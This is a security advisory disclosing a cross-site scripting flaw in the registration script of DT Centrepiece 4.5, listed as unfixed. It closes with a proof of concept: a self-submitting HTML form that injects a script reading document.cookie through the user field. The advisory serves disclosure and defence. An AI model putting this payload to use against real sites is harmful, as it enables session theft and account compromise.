Vulnerability ID: HTB22521 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dt_centrepiece_2.html Product: DT Centrepiece Vendor: DT Services ( http://www.dt.net.nz/ ) Vulnerable Version: 4.5 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the /register.asp script to properly sanitize user-supplied input in multiple variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form name="main" method="POST" action="http://host/register.asp";> <input type="hidden" name="frmRegisterCheck" value="true"> <input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'> <input type="hidden" name="pass" value=""> <input type="hidden" name="confirmPass" value=""> <input type="hidden" name="FirstName" value=""> <input type="hidden" name="LastName" value=""> <input type="hidden" name="EmailAddress" value=""> <input type="hidden" name="Address" value=""> <input type="hidden" name="Country" value=""> <input type="hidden" name="Landline" value=""> <input type="hidden" name="Mobile" value=""> </form> <script> document.main.submit(); </script>
